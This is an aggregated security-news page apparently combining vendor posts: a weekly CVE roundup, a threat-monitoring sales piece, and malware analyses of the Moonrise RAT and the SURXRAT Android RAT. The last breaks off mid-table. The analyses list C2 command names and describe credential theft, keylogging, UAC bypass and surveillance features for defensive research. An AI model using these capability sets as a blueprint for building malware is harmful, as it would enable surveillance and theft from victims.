https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-25 16:06:362026-02-25 16:06:36Variations of the ClickFix | Kaspersky official blog
Cyble Research & Intelligence Labs (CRIL) tracked 1,102 vulnerabilities last week. Of these, 166 vulnerabilities already have publicly available Proof-of-Concept (PoC) exploits, significantly increasing the likelihood of real-world attacks. A total of 49 vulnerabilities were rated critical under CVSS v3.1, while 32 received critical severity under CVSS v4.0.
Additionally, CISA added 9 vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, citing confirmed active exploitation.
On the industrial front, CISA issued 8 ICS advisories covering 18 vulnerabilities impacting Siemens, Honeywell, Delta Electronics, GE Vernova, PUSR, EnOcean, Valmet, and Welker products.
Cyble Weekly Vulnerability Report: New Flaws and CVEs
CVE-2026-1357 is a critical unauthenticated arbitrary file upload and remote code execution vulnerability affecting the WPvivid Backup & Migration plugin for WordPress. The flaw stems from improper handling of RSA decryption errors combined with unsanitized filename inputs, allowing attackers to upload malicious PHP shells to publicly accessible directories
A public PoC is available, and the vulnerability surfaced in underground discussions shortly after disclosure, significantly lowering the barrier to exploitation.
CVE-2026-1731 — BeyondTrust Remote Support & PRA (Critical)
CVE-2026-1731 is a critical OS command injection vulnerability in BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The flaw exists within a WebSocket-based endpoint, allowing unauthenticated attackers to execute arbitrary commands on internet-facing instances.
Successful exploitation enables full system compromise, data exfiltration, lateral movement, and persistent access. A PoC is publicly available.
CVE-2025-49132 — Pterodactyl Panel (Critical)
CVE-2025-49132 affects the Pterodactyl Panel game-server management platform and allows unauthenticated remote code execution through improper validation of user-controlled parameters.
Threat actors were observed sharing weaponized exploits on underground forums, highlighting the vulnerability’s operational risk.
CVE-2026-25639 is a denial-of-service vulnerability in the Axios HTTP client, where crafted JSON payloads exploiting improper configuration merging can crash Node.js or browser applications.
The vulnerability was captured in underground forums shortly after disclosure and has a public PoC.
CVE-2026-20841 — Windows Notepad (High Severity)
CVE-2026-20841 is a command injection vulnerability in the Windows Notepad app, enabling execution of malicious payloads via specially crafted files. Exploitation could enable privilege escalation and malware deployment.
Vulnerabilities Added to CISA KEV
CISA added 9 vulnerabilities to the KEV catalog during the reporting period.
Notable additions include:
CVE-2026-2441 — Google Chrome use-after-free vulnerability enabling potential arbitrary code execution via crafted HTML.
CVE-2025-15556 — Notepad++ update integrity verification vulnerability reportedly exploited by the China-linked threat actor Lotus Blossom.
KEV additions serve as strong indicators of exploitation maturity and heightened ransomware or espionage risk.
Critical ICS Vulnerabilities
During the reporting period, CISA issued 8 ICS advisories covering 18 vulnerabilities. The majority were rated high severity.
CVE-2026-1670 affects Honeywell CCTV products and carries a CVSS score of 9.8. The vulnerability allows an unauthenticated attacker to remotely alter the password recovery email address, effectively hijacking administrator accounts.
Successful exploitation enables:
Full administrative account takeover
Unauthorized access to live surveillance feeds
Potential lateral movement into connected networks
Because no credentials or user interaction are required, this vulnerability presents a high mass-exploitation risk.
CVE-2026-25715 — PUSR USR-W610 Router (Critical)
CVE-2026-25715 impacts the PUSR USR-W610 router and involves weak password requirements. If exploited, attackers can bypass authentication, compromise administrator credentials, or disrupt services.
The risk is amplified by the vendor’s acknowledgment that the product has reached end-of-life and no patches are planned. Organizations are urged to isolate or replace affected devices immediately.
Multiple high-severity out-of-bounds read/write and buffer overflow vulnerabilities were disclosed in Siemens Simcenter Femap and Nastran products (CVE-2026-23715 through CVE-2026-23720). These flaws may enable memory corruption and potential code execution in industrial engineering environments.
Impacted Critical Infrastructure Sectors
Analysis of the 18 disclosed ICS vulnerabilities shows that Critical Manufacturing accounts for 61.1% of cases, with the sector appearing in 83.3% of all reported vulnerabilities. This concentration highlights the continued exposure of manufacturing environments and their interdependencies with Energy, Water, and Chemical sectors.
Conclusion
The combination of high-volume IT vulnerabilities, publicly available PoCs, underground exploit discussions, and critical ICS exposures underscores the evolving threat landscape across enterprise and industrial environments.
With 166 PoCs already available and 9 KEV additions confirming active exploitation, organizations must adopt a risk-based vulnerability management approach that prioritizes:
Rapid patching of internet-facing assets
Strict network segmentation between IT and OT environments
Removal or isolation of end-of-life devices
Deployment of multi-factor authentication
Continuous monitoring for anomalous behavior
Routine vulnerability assessments and penetration testing
Cyble’s attack surface management solutions enable organizations to continuously monitor exposures, prioritize remediation, and detect early warning signals of exploitation. Additionally, Cyble’s threat intelligence and third-party risk intelligence capabilities provide visibility into vulnerabilities actively discussed in underground communities, empowering proactive defense against both IT and ICS threats.
Threat monitoring is treated as one capability among many. Something that sits alongside incident response and threat hunting on an org chart. That framing undersells how central it actually is.
Monitoring is the connective tissue of the entire security operation. Every other SOC function depends on it working well.
For SOC and MSSP leaders, building effective threat monitoring is not about “more alerts.” It is about designing the core process that connects detection, triage, hunting, response, intelligence, reporting, and ultimately business resilience.
Key Takeaways
Threat monitoring is structural, not supplemental. Every core SOC workflow (triage, threat hunting, forensics, vuln management, MSSP SLA delivery) depends on monitoring quality. Weaknesses propagate everywhere.
More alerts do not equal better visibility. Context and prioritization define effectiveness.
Inefficient monitoring increases business risk. Missed early-stage attacks lead to higher remediation costs and regulatory exposure. Dwell time reduction translates directly to breach loss reduction.
Intelligence must be operationalized, not stored. Threat intelligence only creates value when embedded into monitoring workflows.
Behavior-backed indicators outperform static IOC lists. Fresh, validated data improves detection accuracy and reduces false positives.
Monitoring should reflect business risk, not system capabilities. Crown-jewel assets and regulatory drivers must shape detection priorities.
Threat Monitoring: Not a Feature But the Foundation
Consider how the core workflows intersect with monitoring:
Detection engineering: Monitoring consumes detection rules and reveals where they fail.
Alert triage and incident response cannot function without a continuous stream of prioritized, contextualized signals. When monitoring is weak — too noisy, too narrow, or too slow — analysts drown in false positives or miss real incidents entirely. Neither outcome is tolerable.
Vulnerability management and patch prioritization increasingly depend on live threat intelligence to decide what gets fixed first.
Even threat hunting is informed by monitoring outputs: analysts use baseline behavioral data, detection gaps, and historical alert patterns to define their hunting hypotheses.
Digital forensics and incident investigation rely on monitoring having captured enough data — the right logs, network flows, endpoint telemetry — to reconstruct attack timelines after the fact.
MSSP client reporting and SLA management live and die by monitoring quality. When clients ask “are we covered against this new ransomware family?”, the answer depends entirely on whether detection rules exist, whether indicators are up to date, and whether the monitoring stack is generating meaningful signal.
This is why threat monitoring must be treated as a first-class, continuously maintained operational capability, not a set-and-forget configuration.
Signal vs. Noise: The Battle That Defines Your SOC
Effective threat monitoring is:
Context-rich rather than alert-dense;
Intelligence-driven rather than purely rule-based;
Adaptive rather than static;
Prioritized by risk rather than by volume;
Aligned with business-critical assets rather than generic telemetry.
How to tell if your monitoring works at its best? Ask these questions:
Does it consistently reduce mean time to detect (MTTD)?
Are high-risk alerts surfaced early, or buried in noise?
Do detections map to real-world adversary behavior?
Is intelligence automatically operationalized, or manually researched?
Does monitoring adapt when new campaigns emerge?
If analysts spend most of their time enriching alerts manually, chasing false positives, or investigating low-impact noise, monitoring is underperforming. Inefficient monitoring does more than exhaust analysts. It leads to delayed breach discovery, higher remediation costs, and regulatory exposure. Leadership questions investment, and security becomes reactive instead of strategic.
Powering Monitoring with Real-World Adversary Data
That’s where the separation between reactive and proactive monitoring happens. Threat intelligence — continuously updated, high-fidelity data on active threats — transforms a monitoring program from one that reacts to known indicators to one that anticipates emerging attack patterns.
The mechanism is straightforward: if your monitoring infrastructure receives a live stream of newly identified malicious IPs, domains, and URLs extracted from real attacks happening right now, your detection coverage extends beyond what your own environment has encountered.
ANY.RUN operates one of the world’s largest interactive malware analysis sandboxes, used by over 600,000 security professionals and SOC teams from more than 15,000 organizations globally.
Here Interactive Sandbox exposes the attack chain and infrastructure of Moonrise – a RAT recently discovered by ANY.RUN’s analysts.
Every analysis session generates structured threat data — IOCs, IOAs (Indicators of Attack), IOBs (Indicators of Behavior), and TTPs mapped to the MITRE ATT&CK framework. ANY.RUN’s Threat Intelligence Feeds channel that data directly into customers’ detection infrastructure in real time.
This creates a network effect with genuine security value: organizations that were the first to face incidents help others anticipate and prevent them. In a documented case, Interlock ransomware targeting healthcare organizations appeared in ANY.RUN’s data nearly a month before the first public threat reports, giving subscribers time to build detections and harden defenses while most of the industry was still unaware.
Instead of simply adding more indicators, these feeds strengthen the connective tissue between intelligence and monitoring workflows. Monitoring becomes intelligence-infused rather than indicator-overloaded.
Metrics that matter: how TI Feeds influence key performance indicators
Strengthen monitoring with fresh, validated intelligence
that reduces response time and minimizes business disruption.
Integration: Minimal Friction, Maximum Compatibility
ANY.RUN delivers Threat Intelligence Feeds in the STIX/TAXII format, making it straightforward for security teams to integrate the data into their existing infrastructure — including popular platforms like OpenCTI and ThreatConnect and solutions like Microsoft Sentinel and Google SecOps. The standardized format means integration with existing SIEM, TIP, IDS/IPS, and EDR platforms is achievable without custom development work.
API access and SDK support allow teams to automate indicator ingestion and build custom workflows around the data. For MSSPs managing multiple client environments, this integration flexibility is essential — feed data can be channeled into per-client SIEM instances with consistent formatting and attribution.
Integrating TI Feeds into the cybersecurity ecosystem
ANY.RUN’s TI Lookup: The Investigative Layer That Makes Feed Intelligence Actionable
TI Feeds solve the automation problem: keeping your SIEM and detection rules continuously stocked with validated, current indicators. But automated ingestion has a natural limit. When an analyst needs to understand why an indicator is malicious, how the associated malware behaves, what else in the environment may be connected, and whether this alert is part of a larger campaign — a feed delivering STIX records into a detection platform cannot answer those questions on its own. That is where Threat Intelligence Lookup completes the picture.
TI Lookup is a database queryable through both a web interface and an API that surfaces IOCs, IOAs, IOBs, and TTPs extracted from millions of sandbox analysis sessions. Searches can be run against URLs, TTPs, file paths, command lines, process behaviors, registry activity, network connections, port numbers, JA3/JA3S TLS fingerprints, Suricata rule IDs, and more.
This means an analyst isn’t limited to checking a hash or IP address against a known-bad list; they can search for behavioral patterns, specific command-line strings observed in active malware, or infrastructure characteristics.
Search TI Lookup for malware that performs certain registry changes
In this example, we can identify threats that aim to execute malicious code through scheduled tasks.
The workflow goes in the other direction too. Proactive threat hunting using TI Lookup — searching for TTPs or behavioral patterns associated with a threat actor targeting the organization’s industry — can surface indicators that have not yet appeared in automated feeds. Those indicators can then be manually added to detection rules, extending the monitoring program’s coverage before a feed update would have caught them.
Monitoring That Speaks the Language of the Board
The operational case for investing in threat monitoring is clear. The business case is sometimes harder to communicate — but it is just as strong.
Risk Reduction That Translates to Financial Terms
The cost of a breach scales with dwell time. Every day an attacker remains undetected in a network is another day of potential data exfiltration, lateral movement, and preparation for a destructive payload. Monitoring that cuts dwell time from 120 days to 5 days is not just an operational improvement. It is a material reduction in breach severity and cost. For organizations in regulated industries, it is also a meaningful factor in whether a regulatory notification obligation is triggered and whether a fine is proportionate.
Meeting SLAs and Client Expectations
For MSSPs, detection speed and coverage breadth are effectively product features. Clients sign contracts expecting that known threats will be detected and responded to within defined timeframes. TI Feeds that update continuously with indicators from active threats extend the detection surface without requiring proportional growth in headcount.
Enabling SOC Efficiency
Analyst time is expensive and scarce. When monitoring is well-designed (contextual, high-fidelity, and supported by rich threat intelligence) analysts spend more time on decisions and less time on manual enrichment, alert validation, and IOC lookups. The triage process shortens. MTTR decreases. The SOC can handle more volume with the same team, or the same volume with better quality of investigation.
Demonstrating Proactive Security Posture to the Board
Security leaders increasingly need to demonstrate not just that they respond well to incidents, but that they are actively working to prevent them. Monitoring informed by real-time threat intelligence that detects and blocks indicators of a major ransomware group weeks before public disclosure is a compelling proof point in that conversation. It shifts the narrative from incident response to threat prevention, which is where business leadership wants security programs to operate.
Turn threat monitoring into a cost-control strategy.
Improve detection accuracy and demonstrate measurable ROI with ANY.RUN TI Feeds
Conclusion: The Standard for Monitoring Has Changed
The threat landscape that SOC and MSSP teams operate in today is faster-moving, better-resourced, and more creative than it was even three years ago. Monitoring built for a previous era of threat activity will fail against current adversary techniques.
Effective threat monitoring in 2026 and beyond requires more than log aggregation and static detection rules. It requires continuous intelligence input from real attack data, behavioral detection that doesn’t depend on known signatures, and the operational discipline to keep detection logic current as threats evolve.
ANY.RUN’s Threat Intelligence Feeds represent one of the most direct paths to that standard: validated, contextualized, continuously updated IOCs and behavioral indicators sourced from millions of real malware analysis sessions, integrated directly into the security stack.
About ANY.RUN
ANY.RUN is part of modern SOC workflows, integrating easily into existing processes and strengthening the entire operational cycle across Tier 1, Tier 2, and Tier 3.
Today, more than 600,000 security professionals and 15,000 organizations rely on ANY.RUN to accelerate triage, reduce unnecessary escalations, and stay ahead of evolving phishing and malware campaigns.
To stay informed about newly discovered threats and real-world attack analysis, follow ANY.RUN’s team on LinkedIn and X, where weekly updates highlight the latest research, detections, and investigation insights.
FAQ
What is threat monitoring in a SOC?
Threat monitoring is the continuous process of collecting, correlating, and analyzing security telemetry to detect malicious activity in real time.
How is threat monitoring different from detection?
Detection refers to the logic or rules that identify malicious behavior. Monitoring is the broader operational process that consumes detections, prioritizes alerts, and drives response workflows.
What makes threat monitoring “effective”?
It is risk-aligned, intelligence-driven, adaptive, and capable of surfacing high-impact threats early while minimizing noise.
How can I measure whether monitoring is working?
Key indicators include reduced MTTD, lower false positive rates, improved alert prioritization accuracy, and faster containment times.
Why do many SOCs struggle with monitoring?
Common issues include over-collection of logs, static IOC feeds, lack of intelligence integration, and weak feedback loops between incidents and detection updates.
How does threat intelligence improve monitoring?
It provides contextual, real-world adversary data that enhances detection logic, prioritization, enrichment, and proactive hunting.
How can MSSPs benefit from enhanced monitoring?
Intelligence-driven monitoring improves service differentiation, reduces analyst workload, increases detection accuracy, and strengthens client trust.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-25 11:06:472026-02-25 11:06:47Turn Your SOC Into a Detection Engine: Rethinking Threat Monitoring
Security professionals rely on early detection signals to prioritize and contain incidents. But what happens when a fully capable RAT generates none?
In a recent investigation, the ANY.RUN experts uncovered a new Go-based remote access trojan we named Moonrise. At the time of analysis, it wasn’t detected on VirusTotal and had no vendor signatures tied to it.
That’s the problem teams can’t ignore: credential theft, remote command execution, and persistence can be active while static checks stay silent. The result is slower triage, and more escalations.
Let’s break down Moonrise’s full attack chain and show how you can detect similar threats earlier, before they turn into longer investigations and real business impact.
Key Takeaways
Moonrise operated without early static detection, establishing active C2 communication before any vendor alerts were triggered.
The RAT supports credential theft, remote command execution, persistence, and user monitoring, enabling full remote control of an infected endpoint.
Silent C2 activity increases business exposure, extending dwell time and raising the risk of data loss, operational disruption, and financial impact.
Static reputation checks alone are not enough. Behavior-based analysis is critical to confirm real attacker activity quickly.
What Moonrise Means for Organizations
Moonrise isn’t just a remote access tool. Its command set shows how an attacker can move from access to impact.
Credential theft and clipboard monitoring can expose passwords, session tokens, and sensitive data copied between systems.
Remote command execution and process control let operators run scripts, interfere with defenses, and manipulate business applications.
File upload and execution creates a clean path to drop additional payloads, including stealers or ransomware.
Screen capture, webcam, and microphone access can reveal what’s happening inside finance workflows, admin panels, and internal communications.
Persistence and privilege-related functions increase dwell time and make removal harder.
One compromised endpoint can disrupt operations and lead to financial and reputational damage, especially when the malware stays below static detection thresholds long enough to expand access.
Reduce escalation and investigation costs Detect threats earlier with behavior-first clarity
Moonrise RAT detected inside ANY.RUN sandbox, revealing its full attack chain
Within minutes of execution, Moonrise established outbound communication and began responding to operator-driven commands. What looked harmless in static checks immediately revealed interactive control once behavior was observed.
1. Session Registration and Persistent Communication
The communication begins with:
client_hello
connected
ping/pong
These commands handle client identification and keep the WebSocket session alive. This confirms that the infected system is actively connected and ready to receive instructions.
At this stage, traditional static checks still show nothing suspicious. But behaviorally, the endpoint is already under remote control.
C2 communication overview of Moonrise RAT
2. Visibility Into the Host Environment
Once the session is established, the operator starts requesting information about the system.
Observed commands include:
process_list
file_list
webcam_list
monitors_list
screenshot
This allows the attacker to inspect running processes, review directory structures, identify connected displays, and check for available multimedia devices. Even when screen capture fails in a headless environment, the attempt itself signals active operator-driven interaction.
YARA rule match confirming screenshot functionality inside the Moonrise process
This stage provides the attacker with enough context to determine what data is accessible and which actions to take next.
3. Direct System Interaction and Control
Moonrise supports active command execution and process manipulation:
cmd
process_kill
file_upload
file_run
file_execute
file_delete
mkdir
explorer_restart
Through these commands, the operator can run system commands remotely, terminate selected processes, upload additional payloads, execute them, modify directories, and restart system components.
svchost.exe spawning cmd.exe to execute system commands inside the ANY.RUN sandbox
This shifts the attack from observation to full control. At this point, the endpoint is no longer just compromised. It can be used to deploy further tools or prepare deeper access.
4. Credential Access and Data Extraction
The sample includes commands associated with data theft and credential harvesting:
stealer
steam
file_download
keylogger_logs
clipboard_history
These functions enable collection of stored credentials, extracted files, logged keystrokes, and clipboard content. If sensitive data is copied between applications, such as passwords or financial details, it becomes accessible to the operator.
This is where technical compromise transitions into business exposure.
Reduce the risk of silent data exfiltration Turn weak signals into clear decisions fast
Moonrise includes extensive user interaction monitoring capabilities:
keylogger_start
keylogger_stop
keylogger_logs
input
clipboard_monitor_start
clipboard_monitor_stop
clipboard_history
clipper_get_addresses
clipper_set_address
screenshot
screen_stream_start
screen_stream_stop
webcam_capture
microphone_record
These commands allow the operator to monitor user input, track clipboard changes, capture screen content, and access audio or video devices.
The infected endpoint effectively becomes a live surveillance point.
Moonrise RAT actively checks for available and operational camera hardware before attempting capture
6. Privilege and System-Level Capabilities
Moonrise also contains commands related to privilege handling and system configuration:
uac_bypass
rootkit_enable
rootkit_disable
watchdog_status
protection_config
uxlocker_trigger
voltage_drop
These suggest support for privilege manipulation, system configuration changes, and persistence-related behavior. While not all commands may be triggered in every session, their presence indicatesextended control options.
7. Lifecycle Management and Disruption
Moonrise includes lifecycle management functions:
update
uninstall
These allow the operator to modify or remove the deployed version of the malware. This indicates support for maintaining or adjusting the infection over time.
The command set also contains user-facing system interaction functions:
fun
fun_message
fun_wallpaper
fun_openurl
fun_shake
fun_sound
fun_restart
fun_shutdown
fun_bsod
These commands suggest the ability to trigger visible system actions, including restarts or shutdown events, depending on operator intent.
Their presence reinforces that Moonrise provides broad remote interaction capabilities beyond silent monitoring.
Early Detection: 3-Step Loop That Works for Stealth RATs
Moonrise is a good example of an annoying reality: sometimes a RAT shows up with no clean static verdict, no reputation you can trust, and nothing obvious to latch onto. In those cases, early detection comes down to how quickly your team can move from unclear signals to evidence-based containment.
1. Monitoring: Catch the First Weak Signal Early
A lot of RAT incidents start with infrastructure: a fresh IP, a new domain, traffic that doesn’t match your baseline.
This is where ANY.RUN’s Threat Intelligence Feeds help. They continuously surface newly observed indicators and patterns based on telemetry and submissions from 15,000+ organizations and 600,000+ security professionals.
100% actionable IOCs delivered by TI Feeds to your existing stack
For SOC managers, that means fewer blind spots in day-to-day monitoring and earlier detection of suspicious infrastructure before it becomes a bigger incident.
99% unique threat data for your SOC Catch attacks early to protect your business
2. Triage: Enrich Fast, Then Confirm with Behavior
When static checks don’t help, teams often lose time debating severity. That’s where MTTR grows and escalation pressure builds.
A cleaner path is enrich → execute → decide. Use Threat Intelligence Lookup to pull immediate context around a hash, URL, domain, or IP (relationships, related samples, historical sightings). Then run the artifact in the ANY.RUN Sandbox to confirm what it actually does in a safe environment.
ANY.RUN’s sandbox detected full attack chain of Moonrise, including the implemented TTPs in a few minutes, instead of hours
This is how teams replace uncertainty with evidence, reduce unnecessary Tier-1 escalations, and contain earlier, before a RAT turns into credential loss or broader access.
74% of Fortune 100 companies rely on ANY.RUN for earlier detection and faster SOC response
3. Threat Hunting: Turn One Confirmed Case into Wider Coverage
Once you confirm a RAT-like incident, the next step is making sure it doesn’t repeat under a slightly different wrapper. Threat Intelligence Lookup helps you pivot from confirmed indicators to related infrastructure and nearby samples, so hunting stays tied to what’s active now.
From there, you can pivot into related IPs/domains, cluster similar samples, and validate behavior in the sandbox to decide whether it’s the same activity or a lookalike.
Below is an example of a TI Lookup query for the Moonrise C2 IP observed in the attack:
TI Lookup displays sandbox analyses related to the IP address used in the Moonrise attack
When these three motions run as a loop, monitoring, fast triage, and targeted hunting, stealth RATs stop being “late discoveries” and become manageable security events with lower response cost and less business exposure.
Conclusion: Reducing Exposure Starts with Faster Clarity
Moonrise is a reminder that the biggest risk isn’t the RAT itself but the time lost before it’s clearly identified. When static checks stay silent, attackers can steal credentials, stage more payloads, and lock in persistence while teams are still debating severity.
Reducing exposure comes down to one thing: faster clarity. Feed fresh infrastructure signals into monitoring, enrich quickly with TI Lookup, and confirm behavior in the sandbox before the case grows into a costly incident.
ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, fits naturally into modern SOC workflows and supports investigations from initial alert to final containment.
It allows teams to safely execute suspicious files and URLs to observe real behavior, enrich indicators with immediate context through TI Lookup, and continuously monitor emerging infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce uncertainty, accelerate triage, and limit unnecessary escalations.
Today, more than 600,000 security professionals across 15,000+ organizations rely on ANY.RUN to make faster decisions, strengthen detection coverage, and stay ahead of evolving phishing and malware campaigns.
To stay informed about newly discovered threats and real-world attack analysis, follow ANY.RUN’s team on LinkedIn and X, where weekly updates highlight the latest research, detections, and investigation insights.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-24 11:06:372026-02-24 11:06:37Moonrise RAT: A New Low-Detection Threat with High-Cost Consequences
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-02-24 08:30:062026-02-24 08:30:06Faking it on the phone: How to tell if a voice call is AI or not
SURXRAT is an actively developed Android Remote Access Trojan (RAT) commercially distributed through a Telegram-based malware-as-a-service (MaaS) ecosystem under the SURXRAT V5 branding.
The malware is marketed using structured reseller and partner licensing tiers, allowing affiliates to generate and distribute customized builds while the operator maintains centralized infrastructure and operational control.
This distribution model reflects the increasing professionalization of the Android threat landscape, where malware developers focus on scalability and monetization through affiliate-driven campaigns.
Technical analysis shows that SURXRAT operates as a full-featured surveillance and device-control platform capable of extensive data exfiltration, real-time remote command execution, and ransomware-style device locking.
The malware abuses accessibility permissions for persistent control and communicates with a Firebase-based command-and-control infrastructure to manage infected devices. Code similarities suggest that it evolved from the ArsinkRAT family.
We have identified the latest samples that conditionally download a large LLM module, indicating experimentation with AI-assisted capabilities, device performance manipulation, and alternative monetization strategies alongside traditional surveillance and extortion activities.
While it may not always be possible to avoid these threats entirely, prompt action can help reduce the impact of compromise. Threat intelligence tools such as Vision provide users with a real-time view of their digital threat landscape, alerting them to any compromise and enabling them to take corrective action.
Key Takeaways
SURXRAT is sold openly via Telegram, with reseller and partner licensing tiers, enabling scalable distribution through affiliate operators rather than centralized campaigns.
Source code references and functional overlap indicate SURXRAT likely evolved from ArsinkRAT, highlighting continued reuse and rapid enhancement of Android RAT frameworks.
The malware collects sensitive data, including SMS messages, contacts, call logs, device information, location data, and browser activity, enabling credential theft and financial fraud operations.
Use of Firebase Realtime Database infrastructure allows attackers to blend malicious communications with legitimate cloud traffic, improving reliability and complicating detection.
SURXRAT conditionally downloads a large LLM module from external repositories, suggesting experimentation with AI-driven functionality, device performance manipulation, or evasion techniques.
The integrated ransomware-style screen locker enables attackers to deny device access and demand payment, allowing flexible monetization through surveillance, fraud, or extortion.
Overview
Cyble Research and Intelligence Labs (CRIL) identified a new variant of SURXRAT, an actively developed Android Remote Access Trojan (RAT) being openly commercialized through a dedicated Telegram-based distribution ecosystem. Unlike opportunistic commodity malware, SURXRAT is positioned as a subscription-style cybercrime product, indicating an increasing level of professionalization in the Android malware-as-a-service (MaaS) landscape.
The Indonesian threat actor (TA) operates a Telegram channel through which the malware is marketed, regularly updated, and distributed to resellers and partners. The channel was created in late 2024, suggesting that active malware development likely began in early 2025. At the time of analysis, we identified more than 180 related samples, indicating continuous development activity and demonstrating that the threat actor is actively maintaining and evolving the malware.
Figure 1 – SURXRAT V5 advertisement on Telegram Channel
The structured pricing tiers, operational announcements, and feature updates demonstrate a mature commercialization model similar to underground SaaS platforms, suggesting the operator is targeting aspiring cybercriminals rather than conducting attacks directly.
SURXRAT is marketed under a structured licensing scheme branded as SURXRAT V5, indicating active development and ongoing version iteration by the operator. The threat actor offers two primary purchase tiers within a “Ready Plan” model designed to attract both individual operators and larger resellers.
Figure 2 – Pricing Plan for SURXRAT posted on Telegram channel
The Reseller Plan, advertised at a one-time payment of 200k, provides permanent access, allows buyers to generate up to three malware builds per day, includes free server upgrades, and permits users to create and sell SURXRAT builds while adhering to the operator’s predefined market pricing.
The Partner Plan, priced at 500k as a permanent license, expands these capabilities by increasing the daily build limit to ten accounts, maintaining free server upgrades, and granting buyers the ability to establish their own reseller networks, effectively enabling further distribution.
Both tiers emphasize a one-time payment structure (“anti pt pt”), suggesting no recurring subscription fees. This tiered commercialization approach demonstrates the operator’s deliberate attempt to scale malware adoption through affiliate-style distribution, decentralizing infection operations while retaining centralized control over infrastructure and ecosystem governance.
The threat actor periodically posts operational statistics to reinforce legitimacy and attract buyers. One such announcement revealed:
Bot Status: Active
Total Users: 1,318 registered accounts within the system
Operational confirmation timestamp: January 2026
Figure 3 – Telegram post indicating the registered accounts
While these figures cannot be independently verified, public disclosure of user metrics is a common underground marketing tactic intended to establish credibility and demonstrate adoption among cybercriminal customers. If accurate, the numbers suggest a growing ecosystem of operators leveraging SURXRAT for Android surveillance and financial fraud operations.
SURXRAT V5 provides a comprehensive surveillance and remote-control feature set consistent with modern Android RATs. The functionality indicates a strong emphasis on data harvesting, device monitoring, and full remote manipulation.
Data Collection and Surveillance Features
The malware enables extensive extraction of sensitive user information, including:
SMS monitoring
Contact list and call logs
System information and installed applications
Gmail account data
Device location tracking
Network and connectivity information
Notification interception
Clipboard monitoring
Web browsing history
Cellular tower intelligence
WiFi scanning and connection history
Full file manager access
This level of visibility allows attackers to perform credential harvesting, OTP interception, profiling, and reconnaissance for secondary fraud operations.
Remote Device Control Capabilities
SURXRAT extends beyond passive surveillance by enabling attackers to manipulate compromised devices actively:
Remote device unlocking
Triggering phone calls
Wallpaper modification via remote URL
Remote audio playback
Network lag manipulation
Push notification delivery
Forced website opening
Flashlight activation
Device vibration control
On-screen text overlays
Device locking using attacker-defined PIN
Complete storage wipe functionality
During analysis of the SURXRAT sample, references to ArsinkRAT were found in the source code, suggesting a developmental relationship between the two malware families. In January 2026, Zimperium reported an increase in activity associated with ArsinkRAT campaigns targeting Android devices.
A comparative analysis indicates notable functional and structural similarities between SURXRAT and ArsinkRAT, suggesting that the threat actor likely leveraged the ArsinkRAT source code. Using this foundation, an enhanced variant incorporating additional capabilities and updated features was subsequently developed.
Figure 4 – ArsinkRAT string mentioned in SURXRAT malware
This evolution highlights how existing Android RAT frameworks continue to be repurposed and expanded by threat actors, accelerating malware development cycles and enabling rapid introduction of new surveillance and control functionalities.
During our analysis of the latest SURXRAT variant, we identified a deliberate mechanism to manipulate network lag. The malware initiates the download of a large LLM module (>23GB) hosted on Hugging Face. This approach is highly atypical for a mobile-based device.
Notably, this download is conditionally triggered when specific gaming applications are active on the victim’s device, namely Free Fire MAX x JUJUTSU KAISEN (com.dts.freefiremax) and Free Fire x JUJUTSU KAISEN (com.dts.freefireth), or when the malware receives alternative target package names dynamically from the threat actor–controlled server.
This indicates that the download behavior is remotely configurable, allowing operators to initiate the module retrieval based on applications specified through backend commands.
Figure 5 – Downloads LLM module from Hugging Face
While downloading a model of this size on a mobile device may initially appear impractical, the observed behavior indicates intentional implementation rather than a misconfiguration. The LLM module appears to be under active development and may be leveraged to:
Deliberately introduce device or network latency during gameplay, potentially supporting paid cheating or disruption services mask malicious background activity by degrading overall device performance, leading users to attribute abnormal behavior to system issues rather than malware enable future AI-driven capabilities, such as automated interactions or adaptive social engineering techniques
The selective and conditional deployment of this module suggests that the threat actor is actively experimenting with AI-based components to enhance monetization strategies, improve evasion techniques, and expand operational capabilities.
Technical Analysis
Upon execution, the malware prompts the victim to grant multiple high-risk permissions, including access to location services, contacts, SMS messages, and device storage.
Following initial permission approval, the malware displays additional prompts guiding the user to enable Accessibility Services. This commonly abused Android feature allows applications to monitor screen content and perform automated actions. The abuse of accessibility permissions significantly increases attacker control, enabling surveillance and facilitating further malicious operations without continuous user interaction.
Figure 6 – Malware prompting to enable permissions
After acquiring the required permissions, SURXRAT establishes communication with a backend infrastructure hosted on a Firebase Realtime Database:
The malware connects using a database reference labeled “arsinkRAT,” further reinforcing the developmental linkage between SURXRAT and the previously observed ArsinkRAT malware family.
Once connectivity is established, the malware performs device registration by generating a random UUID, which serves as a unique identifier for tracking infected devices. Following registration, SURXRAT immediately begins exfiltrating sensitive information to the Firebase backend.
Figure 7 – Device registration
The malware collects and transmits a wide range of victim data, enabling comprehensive device profiling. Exfiltrated information includes:
Contact lists
SMS messages
Call logs
Device brand and model
Android OS version
Battery level and status
SIM card details
Network information
Public IP address
This dataset allows attackers to uniquely identify victims, monitor communications, and prepare follow-on fraud or surveillance activities such as OTP interception and account takeover.
After successful device registration, SURXRAT launches a persistent background service that maintains continuous communication with the Firebase command-and-control (C&C) infrastructure and receives commands. The malware initializes multiple internal manager classes that handle surveillance, device control, and data collection.
Figure 8 – Background service
The infected device periodically sends status updates to the backend while simultaneously polling for incoming commands issued by the operator. This near real-time synchronization enables attackers to execute actions on compromised devices remotely with minimal delay.
Analysis of command handlers revealed several instructions received from the Firebase backend that allow attackers to perform surveillance and active device manipulation:
Spy Commands
Description
accounts
Collects Google account information associated with the device
apps_list
Retrieves the list of installed applications
device_info
Collects detailed device metadata
audio_record
Records audio
file_list
Enumerates files and extracts metadata
flashlight
Remotely controls the device flashlight
camera_photo
Captures images using the device camera
contacts
Collects contacts
call_log
Collects call log
sms_read
Collects SMSs
Sms_send
